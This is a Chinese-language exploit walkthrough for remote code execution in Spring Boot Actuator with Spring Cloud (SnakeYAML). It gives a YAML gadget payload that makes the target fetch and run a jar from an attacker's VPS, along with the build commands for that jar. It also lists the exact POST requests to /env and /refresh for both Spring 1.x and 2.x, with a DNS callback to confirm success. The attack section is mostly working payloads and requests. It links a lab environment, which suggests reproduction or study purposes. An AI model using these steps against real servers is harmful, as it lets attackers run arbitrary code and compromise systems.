漏洞利用条件

  • 可以 POST 请求目标网站的 /env 接口设置属性
  • 可以 POST 请求目标网站的 /refresh 接口刷新配置(存在 spring-boot-starter-actuator 依赖)
  • 目标依赖的 spring-cloud-starter 版本 < 1.3.0.RELEASE
  • 目标可以请求攻击者的 HTTP 服务器(请求可出外网)

    漏洞复现

    在 vps 使用 python 启动一个 web server
    1. python2 -m SimpleHTTPServer 80
    2. python3 -m http.server 80
    在网站(启动的 web 服务)根目录下放置后缀为 yml 的文件 example.yml,内容如下
    1. !!javax.script.ScriptEngineManager [
    2. !!java.net.URLClassLoader [[
    3. !!java.net.URL ["http://your-vps-ip/example.jar"]
    4. ]]
    5. ]
    在网站根目录下放置后缀为 jar 的文件 example.jar,内容是要执行的代码,代码编写及编译方式参考 yaml-payload

    注意这里 yml 文件需要修改为 yaml-payload.jar 而不是 example.jar

  1. javac src/artsploit/AwesomeScriptEngineFactory.java
  2. jar -cvf yaml-payload.jar -C src/ .

image.png
这里更改 AwesomeScriptEngineFactory 执行的命令,请求执行 ceye.io 即触发一个 dns 请求
image.png
vps 上的结构如下
image.png

设置 spring.cloud.bootstrap.location 属性

spring 1.x

  1. POST /env
  2. Content-Type: application/x-www-form-urlencoded
  3. spring.cloud.bootstrap.location=http://your-vps-ip/example.yml

spring 2.x

  1. POST /actuator/env
  2. Content-Type: application/json
  3. {"name":"spring.cloud.bootstrap.location","value":"http://your-vps-ip/example.yml"}

刷新配置

spring 1.x

  1. POST /refresh
  2. Content-Type: application/x-www-form-urlencoded

spring 2.x

  1. POST /actuator/refresh
  2. Content-Type: application/json

设置属性
image.png
刷新接口
image.png
收到 dns 请求
image.png

漏洞环境

下载环境 idea 打开运行即可
https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springcloud-snakeyaml-rce

漏洞分析

https://b1ngz.github.io/exploit-spring-boot-actuator-spring-cloud-env-note/